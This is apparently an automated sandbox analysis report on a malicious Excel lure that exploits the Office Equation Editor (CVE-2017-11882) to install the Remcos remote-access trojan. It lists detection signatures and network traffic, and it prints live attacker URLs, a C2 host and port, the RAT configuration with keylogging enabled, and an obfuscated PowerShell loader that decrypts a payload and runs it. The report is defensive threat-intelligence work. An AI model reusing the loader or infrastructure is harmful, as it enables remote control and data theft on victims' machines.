Windows Analysis Report
#U00d6DEME TAVS#U0130YES#U0130.xls

Overview

General Information

Sample name:	#U00d6DEME TAVS#U0130YES#U0130.xls renamed because original name is a hash value
Original sample name:	DEME TAVSYES.xls
Analysis ID:	1482813
MD5:	75bfdd13f1ba9517907d20630398fe5e
SHA1:	20049b39f7b1f74ba4cd4dabf064f61d5fe28ce7
SHA256:	0658815d79e2d6c10e9ca7c2d3f4a355403ad7bfe1f1c6a4d69d50a1d3dd7b04
Tags:	xls
Infos:

Detection

Remcos

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Microsoft Office launches external ms-search protocol handler (WebDAV)

Multi AV Scanner detection for submitted file

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Yara detected Powershell download and execute

Yara detected Remcos RAT

Yara detected UAC Bypass using CMSTP

AI detected suspicious Excel or Word document

C2 URLs / IPs found in malware configuration

Document exploit detected (process start blacklist hit)

Excel sheet contains many unusual embedded objects

Machine Learning detection for sample

Microsoft Office drops suspicious files

Obfuscated command line found

Office drops RTF file

Office equation editor establishes network connection

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Office viewer loads remote template

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Equation Editor Network Connection

Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Suspicious Microsoft Office Child Process

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Very long command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Document contains Microsoft Equation 3.0 OLE entries

Document contains embedded VBA macros

Document embeds suspicious OLE2 link

Document misses a certain OLE stream usually present in this Microsoft Office document type

Enables debug privileges

Found URL in obfuscated visual basic script code

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Excel Network Connections

Sigma detected: Suspicious Office Outbound Connections

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Malware Threat Intel
Provided by

Name	Description	Attribution	Blogpost URLs	Link
Remcos, RemcosRAT	Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.	APT33 The Gorgon Group UAC-0050	http://malware-traffic-analysis.net/2017/12/22/index.html https://0xmrmagnezi.github.io/malware%20analysis/RemcosRAT/ https://asec.ahnlab.com/en/32376/ https://asec.ahnlab.com/ko/25837/ https://asec.ahnlab.com/ko/32101/	https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Signatures

AV Detection

Antivirus detection for URL or domain

Source: http://198.46.176.133/Upload/vbs.jpeg	Avira URL Cloud: Label: malware
Source: wemberdag.duckdns.org	Avira URL Cloud: Label: malware
Source: http://192.227.225.166/36/hb/createdsimplethingstogetbackteachingentirethingsaroundtheworldtogetmebackwiththefreatgreatthings_____________sesheismygirlalwayssheismy.doc	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{3F1E4F80-4A4D-478E-8570-2CB2A855073D}.tmp	Avira: detection malicious, Label: EXP/CVE-2017-11882.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\createdsimplethingstogetbackteachingentirethingsaroundtheworldtogetmebackwiththefreatgreatthings_____________sesheismygirlalwayssheismy[1].doc	Avira: detection malicious, Label: HEUR/Rtf.Malformed
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C63FEFCD.doc	Avira: detection malicious, Label: HEUR/Rtf.Malformed

Found malware configuration

Source: 9.2.powershell.exe.42ed080.0.raw.unpack

Malware Configuration Extractor: Remcos {"Version": "5.1.0 Pro", "Host:Port:Password": "wemberdag.duckdns.org:31388:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-LBUX79", "Keylog flag": "1", "Keylog path": "AppData", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}

Multi AV Scanner detection for submitted file

Source: #U00d6DEME TAVS#U0130YES#U0130.xls

ReversingLabs: Detection: 31%

Yara detected Remcos RAT

Source: Yara match	File source: 9.2.powershell.exe.42ed080.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.42ed080.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.447875101.0000000003FC8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3376, type: MEMORYSTR

Machine Learning detection for sample

Source: #U00d6DEME TAVS#U0130YES#U0130.xls

Joe Sandbox ML: detected

Source: powershell.exe, 00000009.00000002.447875101.0000000003FC8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_a8541f93-1

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 9.2.powershell.exe.42ed080.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.42ed080.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.447875101.0000000003FC8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3376, type: MEMORYSTR

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 192.227.225.166 Port: 80

Source: ~WRF{3F1E4F80-4A4D-478E-8570-2CB2A855073D}.tmp.3.dr	Stream path '_1783465834/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{3F1E4F80-4A4D-478E-8570-2CB2A855073D}.tmp.3.dr	Stream path '_1783465838/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{3F1E4F80-4A4D-478E-8570-2CB2A855073D}.tmp.3.dr	Stream path '_1783465860/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{3F1E4F80-4A4D-478E-8570-2CB2A855073D}.tmp.3.dr	Stream path '_1783465861/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{3F1E4F80-4A4D-478E-8570-2CB2A855073D}.tmp.3.dr	Stream path '_1783465864/\x1CompObj' : ...................F....Microsoft Equation 3.0....

Source: C:\Windows\SysWOW64\wscript.exe	Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Source: global traffic	DNS query: name: tny.wtf
Source: global traffic	DNS query: name: tny.wtf
Source: global traffic	DNS query: name: tny.wtf
Source: global traffic	DNS query: name: tny.wtf
Source: global traffic	DNS query: name: tny.wtf
Source: global traffic	DNS query: name: tny.wtf

Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 198.46.176.133:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 192.227.225.166:80

Source: simplebeautygirlfrndhaveform.vBS.7.dr	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport><force/></analyze_input> - obfuscation quality: 4
Source: simplebeautygirlfrndhaveform.vBS.7.dr	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport></analyze_input> - obfuscation quality: 4
Source: simplebeautygirlfrndhaveforme[1].gif.7.dr	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport><force/></analyze_input> - obfuscation quality: 4
Source: simplebeautygirlfrndhaveforme[1].gif.7.dr	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport></analyze_input> - obfuscation quality: 4

Source: global traffic	HTTP traffic detected: GET /Upload/vbs.jpeg HTTP/1.1Host: 198.46.176.133Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /36/RYND.txt HTTP/1.1Host: 192.227.225.166Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 198.46.176.133 198.46.176.133

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: global traffic	HTTP traffic detected: GET /4Gs HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /36/hb/createdsimplethingstogetbackteachingentirethingsaroundtheworldtogetmebackwiththefreatgreatthings_____________sesheismygirlalwayssheismy.doc HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.227.225.166Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /36/simplebeautygirlfrndhaveforme.gIF HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.227.225.166Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 06:24:37 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4GKbrAxCyu4ckcdd7iAo6Tcgp03XtmVNauhTW%2BRSmJpBVdfbISz3z5H2VVSfWhvepwJdddiwDm9DpAxY3Ws6PRi8spA%2FrtdxjnFTBUTzYy8GJUBV%2BIz55ISJ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a924ec87aa64313-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 06:24:38 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pjeXUPP%2Byx8OMG9N9HzL4IZTz%2BAwP%2F99bGilspcytz3uC41pT1xHW0iGDns6WkkaU5sfrWoXXHX3lCgvV%2BmMaZbTfvy7vrlEBPsIDJbqb323zERZW0REjqej"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a924ece0d584313-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 06:24:38 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NG6Uq5267NqFBP7Uub3HfRj4kZlEOxPXgjo9NgxscAhjB9krNmL4T4ik3i%2Ba%2Fy%2B9KqKrheMllf%2F9tTMRzp7hmj59rUpKPJ5N9H0vyULV3EKq6syPPsRVGHKi"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a924ecfde454313-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Source: powershell.exe, 00000009.00000002.452136835.00000000081C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.227.225.166
Source: powershell.exe, 00000009.00000002.452136835.00000000081C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.227.225.166/36/RYND.txt
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000007.00000002.430940411.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000007.00000002.430940411.00000000005E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.227.225.166/36/simplebeautygirlfrndhaveforme.gIF
Source: EQNEDT32.EXE, 00000007.00000002.430940411.00000000005EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.227.225.166/36/simplebeautygirlfrndhaveforme.gIFj
Source: powershell.exe, 00000009.00000002.447762696.00000000024CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.46.176.133
Source: powershell.exe, 00000009.00000002.447762696.00000000024CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.449588027.0000000005032000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.445980970.0000000000020000.00000004.00000020.00040000.00000000.sdmp	String found in binary or memory: http://198.46.176.133/Upload/vbs.jpeg
Source: powershell.exe, 00000009.00000002.447875101.0000000003FC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp/C
Source: powershell.exe, 00000009.00000002.446403842.00000000001CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft.cU
Source: powershell.exe, 00000009.00000002.447875101.00000000033B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000009.00000002.447762696.0000000002391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: tny.wtf.url.3.dr	String found in binary or memory: http://tny.wtf/
Source: #U00d6DEME TAVS#U0130YES#U0130.xls, 4Gs.url.3.dr	String found in binary or memory: http://tny.wtf/4Gs
Source: ~DF796D981FE2E9145A.TMP.0.dr, F0630000.0.dr	String found in binary or memory: http://tny.wtf/4GsyX
Source: powershell.exe, 00000009.00000002.447875101.00000000033B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000009.00000002.447875101.00000000033B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000009.00000002.447875101.00000000033B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000009.00000002.447875101.00000000033B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: 9.2.powershell.exe.42ed080.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 9.2.powershell.exe.42ed080.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 9.2.powershell.exe.42ed080.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 9.2.powershell.exe.42ed080.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 9.2.powershell.exe.42ed080.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 9.2.powershell.exe.42ed080.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000009.00000002.447875101.0000000003FC8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 3376, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 3376, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\createdsimplethingstogetbackteachingentirethingsaroundtheworldtogetmebackwiththefreatgreatthings_____________sesheismygirlalwayssheismy[1].doc, type: DROPPED	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C63FEFCD.doc, type: DROPPED	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen

Source: #U00d6DEME TAVS#U0130YES#U0130.xls	OLE: Microsoft Excel 2007+
Source: ~DFB88BC22996138750.TMP.0.dr	OLE: Microsoft Excel 2007+
Source: F0630000.0.dr	OLE: Microsoft Excel 2007+

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\4Gs.url			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\tny.wtf.url			Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 3116
Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 3116			Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI53245645968011423739588623973337CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIIfj5tD9O95CJERD65QS8cgd6mKhDFXu5KnhuNUHV8eN0Bizzo6XYsPUOr/naNJ9+K8DnwkvsZljh8/jDtCBlcE7JwBlipBYNS69FMVrYo8riAT/OCm+86aVfem+jS7xh93ssL6airSk1E4+mG3y/ys93bKWl7qe/OiIfd0sR1FM9xZhEYuwuHy/AU8FfHXTeSMPl/YzZJ+ERHVh+bArXV063XruUdd/cZK/At2Cd+nbGZfGFDj29bcydLi2HTao5Px2joIFcvB02gojNaG2SWau3s/c6HFNqHbJGGUvRutXMletl29tNTCgqa0tUwol3eukX7WxBG0I6W0I89mN4k+5nR4K2AK8APbfVOX2Kvv5Tano47cej4QtGlf3mt0SPlqwZ9JReU64MQQKkvdzo84oqAoQ+HKZ5+76sSvuVPLVPNwT4waP3/VLkFCFvdaX6peTauqLmO7Enf3jzdxLsVBi7+NpZvpR8FLnBqiZzlImiogkvR17bPAS5CpYJnW/spi74gNlfkH3Qds0UlhmZe/la2ja5Mjup7w5KWxVsHB7OS7tLShSyN7PC/qbynVi6PhL80r558jq+Epf/Jw5jd2cMqIeQ4mv2U7EHxT/brTG1G9P22Aeim3ofkuv8Q/SbtoTP/20JvRjQ8WJRpM/rpy0QrrdKIDxmHOj8D6rmtRQVNLhZ+QU80DQhyY621X7HrHP/CHEzyeyQZWYMrUUzD7owZM8RgeUNb1tZcnVUx5eYVO7nU46ipcNFuuOEq7bDkKPW3S8iF+x6isuilkSnxQGLGoiQ/3UQx1KT5knk+IGE6RsunZht35yevyQ39siNJMcED7UWj/p5RW4pseMzZxQl/ER7KgeB/ga2lAverkwIuezrF3ODu4Fwu5pnQAqjKIbiK2WSd3HqQ6ElDbZDPlYJnIiorFFgTexsUy6Oe4ME8KrjwDHFPmrWUYgSixHjBrs984Mgz6L5vb7M2/1oZiU1cR0qRdZy3k3VSR+EnkjMt7QgpSt+TbAem6N1XrXX9yzuPZHT3jK7lS4aHtIloD1MMXWuIFungQbKc9KeITySZskxIxzuGSwplqK0ziNU0ELPRdi1QwF3PH5FGpGbNrOTsh2BXgal6KV70rLlImHCB/8N7+Zv4j3XQUvj7YpMsgavK4CpP2Kc0q2QBsv7EQwDeKTCM8Lho0uj59AXofd0v7Z0vxAotnN5Mo4LmIYSm7KuWnX/7BetKCLQsfM4MXEXF6te/5nneOgTKpDRxwFFl4mVtKv5tMtOpWM/IW/h9086XNQd1JCqFrA3dwaQ9H6+RTfGXHWBLLV/H2MbX+G3rK+Am8FjxJeLV3vZ/qwk0O2aTk8NsmzYZcdfcOP03B9h/iEr7Se0SP/S6mlR/0wuzt7CmAPKp/CNPz0fC/0tV0xJ8NlgvvQQvk1Zz/ZXQQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI53245645968011423739588623973337CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = 